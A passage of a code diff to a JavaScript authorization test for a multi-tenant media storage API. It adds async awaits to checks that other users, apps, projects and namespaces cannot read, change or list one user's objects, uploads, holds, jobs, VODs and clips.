+ const upPub5 = await init('live', asUser(5), { visibility: 'public', size_bytes: 5 });
+ const mpObj = await init('live', asUser(5), { visibility: 'private', size_bytes: 10 });
+ let r = await call('POST', `/api/v2/live/objects/${mpObj.id}/multipart`, asUser(5), {});
assert.strictEqual(r.status, 201, r.text);
assert.strictEqual(r.status, 201, r.text);
- return r.json;
- };
- const mkReady = async (tenant, headers, body) => {
- const o = await init(tenant, headers, { size_bytes: 5, ...body });
- assert.strictEqual((await call('PUT', local(o.upload.url), { 'content-type': 'text/plain' }, 'hello')).status, 200);
- assert.strictEqual((await call('POST', `/api/v2/${tenant}/objects/${o.id}/complete`, headers, {})).status, 200);
- return o.id;
- };
- const priv5 = await mkReady('live', asUser(5), { visibility: 'private' });
- const pub5 = await mkReady('live', asUser(5), { visibility: 'public' });
- const up5 = await init('live', asUser(5), { visibility: 'private', size_bytes: 5 }); // still uploading
- const upPub5 = await init('live', asUser(5), { visibility: 'public', size_bytes: 5 });
- const mpObj = await init('live', asUser(5), { visibility: 'private', size_bytes: 10 });
- let r = await call('POST', `/api/v2/live/objects/${mpObj.id}/multipart`, asUser(5), {});
- assert.strictEqual(r.status, 201, r.text);
- const mp5 = r.json;
- const other = await init('live', asUser(5), { visibility: 'private', size_bytes: 10 }); // a second session, for its token
- const otherMp = (await call('POST', `/api/v2/live/objects/${other.id}/multipart`, asUser(5), {})).json;
- const nsA = await mkReady('live', key(svc(['live.a'])), { namespace: 'a', visibility: 'private' });
- const nsB = await mkReady('live', key(svc(['live.b'])), { namespace: 'b', visibility: 'private' });
- const projA = await mkReady(PA, key(appTok(PA)), { visibility: 'private' });
- r = await call('POST', `/api/v2/live/objects/${pub5}/holds`, key('live-key'), { kind: 'dmca', reason: 'notice 1' });
- assert.strictEqual(r.status, 201, r.text);
- const hold5 = r.json.id;
- const job5 = queue.enqueue({ appId: 'live', type: 'thumbnail.regenerate', objectId: priv5, params: { kind: 'vod', id: privVod }, status: 'proposed', ownerUserId: 5, createdBy: 'app:live:user:5' }).job;
- const UNKNOWN = 'med_01JAB2C3D4E5F6G7H8J9K0MNPQ';
- const v2State = () => ({
- objects: raw.prepare('SELECT id, lifecycle_status, visibility, size_bytes, content_hash, owner_user_id, namespace FROM media_objects ORDER BY id').all(),
- holds: raw.prepare('SELECT id, object_id, released_at FROM media_holds ORDER BY id').all(),
- sessions: raw.prepare('SELECT id, status FROM media_uploads ORDER BY id').all(),
- parts: raw.prepare('SELECT upload_id, part_number FROM media_upload_parts ORDER BY upload_id, part_number').all(),
- jobs: raw.prepare('SELECT id, status FROM media_jobs ORDER BY id').all(),
- });
- const before = v2State();
+ const mp5 = r.json;
+ const other = await init('live', asUser(5), { visibility: 'private', size_bytes: 10 }); // a second session, for its token
+ const otherMp = (await call('POST', `/api/v2/live/objects/${other.id}/multipart`, asUser(5), {})).json;
+ const nsA = await mkReady('live', key(svc(['live.a'])), { namespace: 'a', visibility: 'private' });
+ const nsB = await mkReady('live', key(svc(['live.b'])), { namespace: 'b', visibility: 'private' });
+ const projA = await mkReady(PA, key(appTok(PA)), { visibility: 'private' });
+ r = await call('POST', `/api/v2/live/objects/${pub5}/holds`, key('live-key'), { kind: 'dmca', reason: 'notice 1' });
+ assert.strictEqual(r.status, 201, r.text);
+ const hold5 = r.json.id;
+ const job5 = (await queue.enqueue({ appId: 'live', type: 'thumbnail.regenerate', objectId: priv5, params: { kind: 'vod', id: privVod }, status: 'proposed', ownerUserId: 5, createdBy: 'app:live:user:5' })).job;
+ const UNKNOWN = 'med_01JAB2C3D4E5F6G7H8J9K0MNPQ';
+ const v2State = async () => ({
+ objects: await raw.prepare('SELECT id, lifecycle_status, visibility, size_bytes, content_hash, owner_user_id, namespace FROM media_objects ORDER BY id').all(),
+ holds: await raw.prepare('SELECT id, object_id, released_at FROM media_holds ORDER BY id').all(),
+ sessions: await raw.prepare('SELECT id, status FROM media_uploads ORDER BY id').all(),
+ parts: await raw.prepare('SELECT upload_id, part_number FROM media_upload_parts ORDER BY upload_id, part_number').all(),
+ jobs: await raw.prepare('SELECT id, status FROM media_jobs ORDER BY id').all(),
+ });
+ const before = await v2State();
- const OPS = (uploadId) => [
- ['GET', ''], ['GET', '/download'], ['GET', '/download?format=json'], ['GET', '/holds'],
- ['DELETE', ''], ['POST', '/restore', {}],
- ['POST', '/holds', { kind: 'dmca', reason: 'x' }], ['DELETE', `/holds/${hold5}`],
- ['POST', '/upload-url', {}], ['POST', '/multipart', { size_bytes: 10 }], ['POST', '/complete', {}],
- ['PUT', '/content', 'hello'],
- ['GET', `/multipart/${uploadId}`], ['POST', `/multipart/${uploadId}/complete`, {}], ['DELETE', `/multipart/${uploadId}`],
- ['PUT', `/multipart/${uploadId}/parts/1`, Buffer.alloc(10, 7)],
- ];
- const attempt = (tenant, id, [method, rest, body], headers) => [method, `/api/v2/${tenant}/objects/${id}${rest}`, headers, body];
+ const OPS = (uploadId) => [
+ ['GET', ''], ['GET', '/download'], ['GET', '/download?format=json'], ['GET', '/holds'],
+ ['DELETE', ''], ['POST', '/restore', {}],
+ ['POST', '/holds', { kind: 'dmca', reason: 'x' }], ['DELETE', `/holds/${hold5}`],
+ ['POST', '/upload-url', {}], ['POST', '/multipart', { size_bytes: 10 }], ['POST', '/complete', {}],
+ ['PUT', '/content', 'hello'],
+ ['GET', `/multipart/${uploadId}`], ['POST', `/multipart/${uploadId}/complete`, {}], ['DELETE', `/multipart/${uploadId}`],
+ ['PUT', `/multipart/${uploadId}/parts/1`, Buffer.alloc(10, 7)],
+ ];
+ const attempt = (tenant, id, [method, rest, body], headers) => [method, `/api/v2/${tenant}/objects/${id}${rest}`, headers, body];
- // Another user of the app, on user 5's private objects: the unknown-id answer, every time.
- for (const target of [priv5, up5.id, mpObj.id]) {
- for (const op of OPS(mp5.upload_id)) await same(attempt('live', target, op, asUser(77)), attempt('live', UNKNOWN, op, asUser(77)), `user 77 ${op[0]} ${op[1]} on user 5's private ${target}`);
- }
- // ... and on user 5's public object: reads are fine, every write 403.
- for (const op of OPS(mp5.upload_id).filter(([m]) => m !== 'GET')) {
- for (const target of [pub5, upPub5.id]) {
- r = await call(...attempt('live', target, op, asUser(77)));
- assert.ok([403, 404].includes(r.status), `user 77 ${op[0]} ${op[1]} on user 5's public ${target}: ${r.status} ${r.text}`);
- if (!/multipart\/|holds\//.test(op[1])) assert.strictEqual(r.status, 403, `${op[0]} ${op[1]}: 403 for a visible object (${r.text})`);
+ // Another user of the app, on user 5's private objects: the unknown-id answer, every time.
+ for (const target of [priv5, up5.id, mpObj.id]) {
+ for (const op of OPS(mp5.upload_id)) await same(attempt('live', target, op, asUser(77)), attempt('live', UNKNOWN, op, asUser(77)), `user 77 ${op[0]} ${op[1]} on user 5's private ${target}`);
}
}
- }
- // Another app, through its own tenant (not found) and through this one (its key is not valid here).
- for (const op of OPS(mp5.upload_id)) {
- for (const target of [priv5, pub5, mpObj.id]) {
- await same(attempt('games', target, op, key('games-key')), attempt('games', UNKNOWN, op, key('games-key')), `games ${op[0]} ${op[1]} via its tenant`);
- await same(attempt('live', target, op, key('games-key')), attempt('live', UNKNOWN, op, key('games-key')), `games ${op[0]} ${op[1]} via live's tenant`);
- await same(attempt('live', target, op, {}), attempt('live', UNKNOWN, op, {}), `no credential ${op[0]} ${op[1]}`);
+ // ... and on user 5's public object: reads are fine, every write 403.
+ for (const op of OPS(mp5.upload_id).filter(([m]) => m !== 'GET')) {
+ for (const target of [pub5, upPub5.id]) {
+ r = await call(...attempt('live', target, op, asUser(77)));
+ assert.ok([403, 404].includes(r.status), `user 77 ${op[0]} ${op[1]} on user 5's public ${target}: ${r.status} ${r.text}`);
+ if (!/multipart\/|holds\//.test(op[1])) assert.strictEqual(r.status, 403, `${op[0]} ${op[1]}: 403 for a visible object (${r.text})`);
+ }
}
}
- // Another developer project: its own tenant does not hold PA's objects, and PA's tenant is not its own.
- await same(attempt(PB, projA, op, key(appTok(PB))), attempt(PB, UNKNOWN, op, key(appTok(PB))), `project B ${op[0]} ${op[1]} via its tenant`);
- await same(attempt(PA, projA, op, key(appTok(PB))), attempt(PA, UNKNOWN, op, key(appTok(PB))), `project B ${op[0]} ${op[1]} via project A's`);
- // Another namespace of the same tenant: 403 capability.namespace_denied (documented), never the object.
- if (!/multipart\/|holds/.test(op[1])) {
- r = await call(...attempt('live', nsA, op, key(svc(['live.b']))));
- assert.ok([403, 409].includes(r.status) && !r.text.includes('"size_bytes"'), `live.b token ${op[0]} ${op[1]} on live.a: ${r.status} ${r.text}`);
- if (r.status === 403) assert.ok(['capability.namespace_denied', 'capability.denied'].includes(r.json.code), r.text);
+ // Another app, through its own tenant (not found) and through this one (its key is not valid here).
+ for (const op of OPS(mp5.upload_id)) {
+ for (const target of [priv5, pub5, mpObj.id]) {
+ await same(attempt('games', target, op, key('games-key')), attempt('games', UNKNOWN, op, key('games-key')), `games ${op[0]} ${op[1]} via its tenant`);
+ await same(attempt('live', target, op, key('games-key')), attempt('live', UNKNOWN, op, key('games-key')), `games ${op[0]} ${op[1]} via live's tenant`);
+ await same(attempt('live', target, op, {}), attempt('live', UNKNOWN, op, {}), `no credential ${op[0]} ${op[1]}`);
+ }
+ // Another developer project: its own tenant does not hold PA's objects, and PA's tenant is not its own.
+ await same(attempt(PB, projA, op, key(appTok(PB))), attempt(PB, UNKNOWN, op, key(appTok(PB))), `project B ${op[0]} ${op[1]} via its tenant`);
+ await same(attempt(PA, projA, op, key(appTok(PB))), attempt(PA, UNKNOWN, op, key(appTok(PB))), `project B ${op[0]} ${op[1]} via project A's`);
+ // Another namespace of the same tenant: 403 capability.namespace_denied (documented), never the object.
+ if (!/multipart\/|holds/.test(op[1])) {
+ r = await call(...attempt('live', nsA, op, key(svc(['live.b']))));
+ assert.ok([403, 409].includes(r.status) && !r.text.includes('"size_bytes"'), `live.b token ${op[0]} ${op[1]} on live.a: ${r.status} ${r.text}`);
+ if (r.status === 403) assert.ok(['capability.namespace_denied', 'capability.denied'].includes(r.json.code), r.text);
+ }
}
}
- }
- // Tokens scoped to one object never open another.
- const upTok = new URL(up5.upload.url).searchParams.get('token');
- r = await call('PUT', `/api/v2/live/objects/${upPub5.id}/content?token=${encodeURIComponent(upTok)}`, { 'content-type': 'text/plain' }, 'hello');
- assert.deepStrictEqual([r.status, r.json && r.json.code], [401, 'media.upload_token.invalid'], 'an upload token for one object does not write another');
- r = await call('PUT', `/api/v2/games/objects/${up5.id}/content?token=${encodeURIComponent(upTok)}`, { 'content-type': 'text/plain' }, 'hello');
- assert.ok(r.status >= 400, 'nor its object through another tenant');
- for (const [m, p, b] of [['PUT', `/api/v2/live/objects/${other.id}/multipart/${otherMp.upload_id}/parts/1`, Buffer.alloc(10)], ['GET', `/api/v2/live/objects/${other.id}/multipart/${otherMp.upload_id}`],
- ['POST', `/api/v2/live/objects/${other.id}/multipart/${otherMp.upload_id}/complete`, {}], ['DELETE', `/api/v2/live/objects/${other.id}/multipart/${otherMp.upload_id}`],
- ['PUT', `/api/v2/live/objects/${mpObj.id}/multipart/${otherMp.upload_id}/parts/1`, Buffer.alloc(10)]]) {
- r = await call(m, `${p}?token=${encodeURIComponent(mp5.token)}`, {}, b);
- assert.deepStrictEqual([r.status, r.json && r.json.code], [401, 'media.upload_token.invalid'], `a multipart token for one session: ${m} ${p}`);
- }
- r = await call('GET', `/api/v2/live/objects/${mpObj.id}/multipart/${otherMp.upload_id}`, key('live-key'));
- assert.strictEqual(r.status, 404, 'another object\'s session id through this object is not found');
- // Lists: nothing of another owner, app, project or namespace.
- const listed = async (p, h) => ((await call('GET', p, h)).json || { objects: [] }).objects.map(o => o.id);
- assert.ok(!(await listed('/api/v2/live/objects?user_id=5&visibility=private', asUser(77))).some(id => [priv5, up5.id, mpObj.id].includes(id)), 'another user lists none of user 5\'s private objects');
- assert.deepStrictEqual(await listed('/api/v2/games/objects', key('games-key')), [], 'another app lists none');
- assert.deepStrictEqual(await listed(`/api/v2/${PB}/objects`, key(appTok(PB))), [], 'another project lists none');
- assert.deepStrictEqual(await listed('/api/v2/live/objects', key(svc(['live.b']))), [nsB], 'a live.b token lists live.b only');
- r = await call('GET', '/api/v2/live/objects?namespace=a', key(svc(['live.b'])));
- assert.deepStrictEqual([r.status, r.json.code], [403, 'capability.namespace_denied'], 'nor asks for live.a');
- r = await call('GET', '/api/v2/live/namespaces/live.a', key(svc(['live.b'])));
- assert.strictEqual(r.status, 403, 'nor reads live.a\'s namespace');
- r = await call('GET', '/api/v2/games/namespaces/live.a', key('games-key'));
- assert.ok(r.status >= 400 && !r.text.includes('"live.a"'), 'another app does not read live\'s namespaces');
- // Jobs.
- for (const [m, rest, b] of [['GET', ''], ['POST', '/approve', {}], ['POST', '/cancel', {}], ['DELETE', '']]) {
- await same([m, `/api/v2/live/jobs/${job5.id}${rest}`, asUser(77), b], [m, `/api/v2/live/jobs/mjob_nosuchjob${rest}`, asUser(77), b], `user 77 ${m} ${rest} on user 5's job`);
- await same([m, `/api/v2/games/jobs/${job5.id}${rest}`, key('games-key'), b], [m, `/api/v2/games/jobs/mjob_nosuchjob${rest}`, key('games-key'), b], `games ${m} ${rest} on live's job`);
- }
- const jobBody = (object_id) => ({ type: 'thumbnail.regenerate', object_id, params: { kind: 'vod', id: privVod } });
- await same(['POST', '/api/v2/live/jobs', asUser(77), jobBody(priv5)], ['POST', '/api/v2/live/jobs', asUser(77), jobBody(UNKNOWN)], 'user 77 cannot start a job on user 5\'s private object');
- r = await call('POST', '/api/v2/live/jobs', asUser(77), jobBody(pub5));
- assert.strictEqual(r.status, 403, `nor on user 5's public object (${r.text})`);
- await same(['POST', '/api/v2/games/jobs', key('games-key'), jobBody(priv5)], ['POST', '/api/v2/games/jobs', key('games-key'), jobBody(UNKNOWN)], 'games cannot start a job on live\'s object');
- assert.deepStrictEqual(v2State(), before, 'no object, hold, upload session or job changed');
- console.log('✅ v2 objects, uploads, multipart, holds, jobs, lists and namespaces: other users, apps, projects and namespaces reach nothing');
+ // Tokens scoped to one object never open another.
+ const upTok = new URL(up5.upload.url).searchParams.get('token');
+ r = await call('PUT', `/api/v2/live/objects/${upPub5.id}/content?token=${encodeURIComponent(upTok)}`, { 'content-type': 'text/plain' }, 'hello');
+ assert.deepStrictEqual([r.status, r.json && r.json.code], [401, 'media.upload_token.invalid'], 'an upload token for one object does not write another');
+ r = await call('PUT', `/api/v2/games/objects/${up5.id}/content?token=${encodeURIComponent(upTok)}`, { 'content-type': 'text/plain' }, 'hello');
+ assert.ok(r.status >= 400, 'nor its object through another tenant');
+ for (const [m, p, b] of [['PUT', `/api/v2/live/objects/${other.id}/multipart/${otherMp.upload_id}/parts/1`, Buffer.alloc(10)], ['GET', `/api/v2/live/objects/${other.id}/multipart/${otherMp.upload_id}`],
+ ['POST', `/api/v2/live/objects/${other.id}/multipart/${otherMp.upload_id}/complete`, {}], ['DELETE', `/api/v2/live/objects/${other.id}/multipart/${otherMp.upload_id}`],
+ ['PUT', `/api/v2/live/objects/${mpObj.id}/multipart/${otherMp.upload_id}/parts/1`, Buffer.alloc(10)]]) {
+ r = await call(m, `${p}?token=${encodeURIComponent(mp5.token)}`, {}, b);
+ assert.deepStrictEqual([r.status, r.json && r.json.code], [401, 'media.upload_token.invalid'], `a multipart token for one session: ${m} ${p}`);
+ }
+ r = await call('GET', `/api/v2/live/objects/${mpObj.id}/multipart/${otherMp.upload_id}`, key('live-key'));
+ assert.strictEqual(r.status, 404, 'another object\'s session id through this object is not found');
+ // Lists: nothing of another owner, app, project or namespace.
+ const listed = async (p, h) => ((await call('GET', p, h)).json || { objects: [] }).objects.map(o => o.id);
+ assert.ok(!(await listed('/api/v2/live/objects?user_id=5&visibility=private', asUser(77))).some(id => [priv5, up5.id, mpObj.id].includes(id)), 'another user lists none of user 5\'s private objects');
+ assert.deepStrictEqual(await listed('/api/v2/games/objects', key('games-key')), [], 'another app lists none');
+ assert.deepStrictEqual(await listed(`/api/v2/${PB}/objects`, key(appTok(PB))), [], 'another project lists none');
+ assert.deepStrictEqual(await listed('/api/v2/live/objects', key(svc(['live.b']))), [nsB], 'a live.b token lists live.b only');
+ r = await call('GET', '/api/v2/live/objects?namespace=a', key(svc(['live.b'])));
+ assert.deepStrictEqual([r.status, r.json.code], [403, 'capability.namespace_denied'], 'nor asks for live.a');
+ r = await call('GET', '/api/v2/live/namespaces/live.a', key(svc(['live.b'])));
+ assert.strictEqual(r.status, 403, 'nor reads live.a\'s namespace');
+ r = await call('GET', '/api/v2/games/namespaces/live.a', key('games-key'));
+ assert.ok(r.status >= 400 && !r.text.includes('"live.a"'), 'another app does not read live\'s namespaces');
+ // Jobs.
+ for (const [m, rest, b] of [['GET', ''], ['POST', '/approve', {}], ['POST', '/cancel', {}], ['DELETE', '']]) {
+ await same([m, `/api/v2/live/jobs/${job5.id}${rest}`, asUser(77), b], [m, `/api/v2/live/jobs/mjob_nosuchjob${rest}`, asUser(77), b], `user 77 ${m} ${rest} on user 5's job`);
+ await same([m, `/api/v2/games/jobs/${job5.id}${rest}`, key('games-key'), b], [m, `/api/v2/games/jobs/mjob_nosuchjob${rest}`, key('games-key'), b], `games ${m} ${rest} on live's job`);
+ }
+ const jobBody = (object_id) => ({ type: 'thumbnail.regenerate', object_id, params: { kind: 'vod', id: privVod } });
+ await same(['POST', '/api/v2/live/jobs', asUser(77), jobBody(priv5)], ['POST', '/api/v2/live/jobs', asUser(77), jobBody(UNKNOWN)], 'user 77 cannot start a job on user 5\'s private object');
+ r = await call('POST', '/api/v2/live/jobs', asUser(77), jobBody(pub5));
+ assert.strictEqual(r.status, 403, `nor on user 5's public object (${r.text})`);
+ await same(['POST', '/api/v2/games/jobs', key('games-key'), jobBody(priv5)], ['POST', '/api/v2/games/jobs', key('games-key'), jobBody(UNKNOWN)], 'games cannot start a job on live\'s object');
+ assert.deepStrictEqual(await v2State(), before, 'no object, hold, upload session or job changed');
+ console.log('✅ v2 objects, uploads, multipart, holds, jobs, lists and namespaces: other users, apps, projects and namespaces reach nothing');
- // ── v1 ──
- fs.writeFileSync(path.join(process.env.FILES_PATH, '.keep'), '');
- const fd = new FormData();
- fd.append('file', new Blob([Buffer.from('user five')], { type: 'text/plain' }), 'five.txt');
- r = await call('POST', '/api/v1/live/files', asUser(5), fd);
- assert.strictEqual(r.status, 201, r.text);
- const fileKey = r.json.key;
- const v1Before = v1State();
- const v2Before = v2State(); // the file above is an object too
- const chunk = () => { const f = new FormData(); f.append('chunk', new Blob([Buffer.alloc(32)], { type: 'video/webm' }), 'c.webm'); return f; };
- const VOD_OPS = [['PUT', '', { visibility: 'public', title: 'pwned' }], ['DELETE', ''], ['POST', '/finalize', {}], ['POST', '/complete', {}],
- ['POST', '/ingest/rtp/stop', {}], ['POST', '/ingest/rtmp', { rtmp_url: 'rtmp://10.0.0.5:1935/live/k' }], ['POST', '/chunks', chunk]];
- const CLIP_OPS = [['PUT', '', { visibility: 'public', title: 'pwned' }], ['DELETE', ''], ['POST', '/recut', {}]];
- const thumbBody = { image: 'data:image/jpeg;base64,/9j/4AAQSkZJRgABAQ==' };
- const v1 = (kind, tenant, id, [m, rest, b], h) => [m, `/api/v1/${tenant}/${kind}/${id}${rest}`, h, typeof b === 'function' ? b() : b];
- for (const [kind, ops, priv, pub] of [['vods', VOD_OPS, privVod, pubVod], ['clips', CLIP_OPS, privClip, pubClip]]) {
- for (const op of ops) {
- await same(v1(kind, 'live', priv, op, asUser(77)), v1(kind, 'live', 999999, op, asUser(77)), `user 77 ${op[0]} ${kind}${op[1]} on user 5's private one`);
- r = await call(...v1(kind, 'live', pub, op, asUser(77)));
- assert.strictEqual(r.status, 403, `user 77 ${op[0]} ${kind}${op[1]} on user 5's public one: ${r.status} ${r.text}`);
- await same(v1(kind, 'games', priv, op, key('games-key')), v1(kind, 'games', 999999, op, key('games-key')), `games ${op[0]} ${kind}${op[1]} via its tenant`);
- await same(v1(kind, 'games', pub, op, key('games-key')), v1(kind, 'games', 999999, op, key('games-key')), `games ${op[0]} ${kind}${op[1]} on a public one`);
- await same(v1(kind, 'live', pub, op, key('games-key')), v1(kind, 'live', 999999, op, key('games-key')), `games ${op[0]} ${kind}${op[1]} via live's tenant`);
+ // ── v1 ──
+ fs.writeFileSync(path.join(process.env.FILES_PATH, '.keep'), '');
+ const fd = new FormData();
+ fd.append('file', new Blob([Buffer.from('user five')], { type: 'text/plain' }), 'five.txt');
+ r = await call('POST', '/api/v1/live/files', asUser(5), fd);
+ assert.strictEqual(r.status, 201, r.text);
+ const fileKey = r.json.key;
+ const v1Before = await v1State();
+ const v2Before = await v2State(); // the file above is an object too
+ const chunk = () => { const f = new FormData(); f.append('chunk', new Blob([Buffer.alloc(32)], { type: 'video/webm' }), 'c.webm'); return f; };
+ const VOD_OPS = [['PUT', '', { visibility: 'public', title: 'pwned' }], ['DELETE', ''], ['POST', '/finalize', {}], ['POST', '/complete', {}],
+ ['POST', '/ingest/rtp/stop', {}], ['POST', '/ingest/rtmp', { rtmp_url: 'rtmp://10.0.0.5:1935/live/k' }], ['POST', '/chunks', chunk]];
+ const CLIP_OPS = [['PUT', '', { visibility: 'public', title: 'pwned' }], ['DELETE', ''], ['POST', '/recut', {}]];
+ const thumbBody = { image: 'data:image/jpeg;base64,/9j/4AAQSkZJRgABAQ==' };
+ const v1 = (kind, tenant, id, [m, rest, b], h) => [m, `/api/v1/${tenant}/${kind}/${id}${rest}`, h, typeof b === 'function' ? b() : b];
+ for (const [kind, ops, priv, pub] of [['vods', VOD_OPS, privVod, pubVod], ['clips', CLIP_OPS, privClip, pubClip]]) {
+ for (const op of ops) {
+ await same(v1(kind, 'live', priv, op, asUser(77)), v1(kind, 'live', 999999, op, asUser(77)), `user 77 ${op[0]} ${kind}${op[1]} on user 5's private one`);
+ r = await call(...v1(kind, 'live', pub, op, asUser(77)));
+ assert.strictEqual(r.status, 403, `user 77 ${op[0]} ${kind}${op[1]} on user 5's public one: ${r.status} ${r.text}`);
+ await same(v1(kind, 'games', priv, op, key('games-key')), v1(kind, 'games', 999999, op, key('games-key')), `games ${op[0]} ${kind}${op[1]} via its tenant`);
+ await same(v1(kind, 'games', pub, op, key('games-key')), v1(kind, 'games', 999999, op, key('games-key')), `games ${op[0]} ${kind}${op[1]} on a public one`);
+ await same(v1(kind, 'live', pub, op, key('games-key')), v1(kind, 'live', 999999, op, key('games-key')), `games ${op[0]} ${kind}${op[1]} via live's tenant`);
+ }
+ }
+ for (const [kind, priv, pub] of [['vod', privVod, pubVod], ['clip', privClip, pubClip]]) {
+ await same(['POST', `/api/v1/live/thumbnails/${kind}/${priv}`, asUser(77), thumbBody], ['POST', `/api/v1/live/thumbnails/${kind}/999999`, asUser(77), thumbBody], `user 77 replaces the thumbnail of user 5's private ${kind}`);
+ r = await call('POST', `/api/v1/live/thumbnails/${kind}/${pub}`, asUser(77), thumbBody);
+ assert.strictEqual(r.status, 403, `user 77 replaces the thumbnail of user 5's public ${kind}: ${r.status} ${r.text}`);
+ await same(['POST', `/api/v1/games/thumbnails/${kind}/${pub}`, key('games-key'), thumbBody], ['POST', `/api/v1/games/thumbnails/${kind}/999999`, key('games-key'), thumbBody], `games replaces live's ${kind} thumbnail`);
+ }
+ r = await call('DELETE', `/api/v1/live/files/${encodeURIComponent(fileKey)}`, asUser(77));
+ assert.strictEqual(r.status, 403, 'user 77 cannot delete user 5\'s file');
+ await same(['DELETE', `/api/v1/games/files/${encodeURIComponent(fileKey)}`, key('games-key')], ['DELETE', '/api/v1/games/files/no-such-key.txt', key('games-key')], 'games cannot delete live\'s file');
+ await same(['DELETE', `/api/v1/games/assets/${assetId}`, key('games-key')], ['DELETE', '/api/v1/games/assets/999999', key('games-key')], 'games cannot delete live\'s asset');
+ // Admin storage: another app's ids are unknown ids there; acting for a user is refused outright.
+ const A = '/api/v1/games/admin/storage';
+ await same(['POST', `${A}/holds`, key('games-key'), { vod_id: privVod, reason: 'x' }], ['POST', `${A}/holds`, key('games-key'), { vod_id: 999999, reason: 'x' }], 'games holds live\'s VOD');
+ await same(['POST', `${A}/holds`, key('games-key'), { clip_id: pubClip, reason: 'x' }], ['POST', `${A}/holds`, key('games-key'), { clip_id: 999999, reason: 'x' }], 'games holds live\'s clip');
+ await same(['POST', `${A}/holds`, key('games-key'), { object_id: priv5, reason: 'x' }], ['POST', `${A}/holds`, key('games-key'), { object_id: UNKNOWN, reason: 'x' }], 'games holds live\'s object');
+ await same(['POST', `${A}/holds/${hold5}/release`, key('games-key'), {}], ['POST', `${A}/holds/999999/release`, key('games-key'), {}], 'games releases live\'s hold');
+ await same(['DELETE', `${A}/holds/${hold5}`, key('games-key')], ['DELETE', `${A}/holds/999999`, key('games-key')], 'games releases live\'s hold (DELETE)');
+ await same(['POST', `${A}/tiers/move`, key('games-key'), { vod_id: pubVod, target: 'local' }], ['POST', `${A}/tiers/move`, key('games-key'), { vod_id: 999999, target: 'local' }], 'games moves live\'s VOD');
+ r = await call('DELETE', `${A}/vods/bulk`, key('games-key'), { ids: [privVod, pubVod] });
+ assert.ok(r.status >= 400 || (r.json && r.json.deleted === 0), `games bulk-deletes live's VODs: ${r.text}`);
+ for (const [m, p, b, code] of [['DELETE', '/vods/bulk', { ids: [privVod] }, 'media.admin.forbidden'], ['POST', '/tiers/move', { vod_id: privVod, target: 'local' }, 'media.admin.forbidden'],
+ ['GET', '/vods?limit=5', undefined, 'media.admin.forbidden'], ['PUT', '/tiers/settings', {}, 'media.admin.forbidden'], ['GET', '/holds?all=1', undefined, 'media.hold.forbidden'],
+ ['POST', '/holds', { vod_id: privVod, reason: 'x' }, 'media.hold.forbidden'], ['POST', `/holds/${hold5}/release`, {}, 'media.hold.forbidden'], ['GET', '/ops', undefined, 'media.ops.forbidden']]) {
+ r = await call(m, `/api/v1/live/admin/storage${p}`, asUser(77), b);
+ assert.deepStrictEqual([r.status, r.json && r.json.code], [403, code], `acting for a user: ${m} admin/storage${p}`);
}
}
- }
- for (const [kind, priv, pub] of [['vod', privVod, pubVod], ['clip', privClip, pubClip]]) {
- await same(['POST', `/api/v1/live/thumbnails/${kind}/${priv}`, asUser(77), thumbBody], ['POST', `/api/v1/live/thumbnails/${kind}/999999`, asUser(77), thumbBody], `user 77 replaces the thumbnail of user 5's private ${kind}`);
- r = await call('POST', `/api/v1/live/thumbnails/${kind}/${pub}`, asUser(77), thumbBody);
- assert.strictEqual(r.status, 403, `user 77 replaces the thumbnail of user 5's public ${kind}: ${r.status} ${r.text}`);
- await same(['POST', `/api/v1/games/thumbnails/${kind}/${pub}`, key('games-key'), thumbBody], ['POST', `/api/v1/games/thumbnails/${kind}/999999`, key('games-key'), thumbBody], `games replaces live's ${kind} thumbnail`);
- }
- r = await call('DELETE', `/api/v1/live/files/${encodeURIComponent(fileKey)}`, asUser(77));
- assert.strictEqual(r.status, 403, 'user 77 cannot delete user 5\'s file');
- await same(['DELETE', `/api/v1/games/files/${encodeURIComponent(fileKey)}`, key('games-key')], ['DELETE', '/api/v1/games/files/no-such-key.txt', key('games-key')], 'games cannot delete live\'s file');
- await same(['DELETE', `/api/v1/games/assets/${assetId}`, key('games-key')], ['DELETE', '/api/v1/games/assets/999999', key('games-key')], 'games cannot delete live\'s asset');
- // Admin storage: another app's ids are unknown ids there; acting for a user is refused outright.
- const A = '/api/v1/games/admin/storage';
- await same(['POST', `${A}/holds`, key('games-key'), { vod_id: privVod, reason: 'x' }], ['POST', `${A}/holds`, key('games-key'), { vod_id: 999999, reason: 'x' }], 'games holds live\'s VOD');
- await same(['POST', `${A}/holds`, key('games-key'), { clip_id: pubClip, reason: 'x' }], ['POST', `${A}/holds`, key('games-key'), { clip_id: 999999, reason: 'x' }], 'games holds live\'s clip');
- await same(['POST', `${A}/holds`, key('games-key'), { object_id: priv5, reason: 'x' }], ['POST', `${A}/holds`, key('games-key'), { object_id: UNKNOWN, reason: 'x' }], 'games holds live\'s object');
- await same(['POST', `${A}/holds/${hold5}/release`, key('games-key'), {}], ['POST', `${A}/holds/999999/release`, key('games-key'), {}], 'games releases live\'s hold');
- await same(['DELETE', `${A}/holds/${hold5}`, key('games-key')], ['DELETE', `${A}/holds/999999`, key('games-key')], 'games releases live\'s hold (DELETE)');
- await same(['POST', `${A}/tiers/move`, key('games-key'), { vod_id: pubVod, target: 'local' }], ['POST', `${A}/tiers/move`, key('games-key'), { vod_id: 999999, target: 'local' }], 'games moves live\'s VOD');
- r = await call('DELETE', `${A}/vods/bulk`, key('games-key'), { ids: [privVod, pubVod] });
- assert.ok(r.status >= 400 || (r.json && r.json.deleted === 0), `games bulk-deletes live's VODs: ${r.text}`);
- for (const [m, p, b, code] of [['DELETE', '/vods/bulk', { ids: [privVod] }, 'media.admin.forbidden'], ['POST', '/tiers/move', { vod_id: privVod, target: 'local' }, 'media.admin.forbidden'],
- ['GET', '/vods?limit=5', undefined, 'media.admin.forbidden'], ['PUT', '/tiers/settings', {}, 'media.admin.forbidden'], ['GET', '/holds?all=1', undefined, 'media.hold.forbidden'],
- ['POST', '/holds', { vod_id: privVod, reason: 'x' }, 'media.hold.forbidden'], ['POST', `/holds/${hold5}/release`, {}, 'media.hold.forbidden'], ['GET', '/ops', undefined, 'media.ops.forbidden']]) {
- r = await call(m, `/api/v1/live/admin/storage${p}`, asUser(77), b);
- assert.deepStrictEqual([r.status, r.json && r.json.code], [403, code], `acting for a user: ${m} admin/storage${p}`);
- }
- assert.deepStrictEqual(v1State(), v1Before, 'no VOD, clip, thumbnail, file or asset changed');
- assert.deepStrictEqual(v2State(), v2Before, 'no hold or object changed');
- // Controls: the owner and the app itself still can.
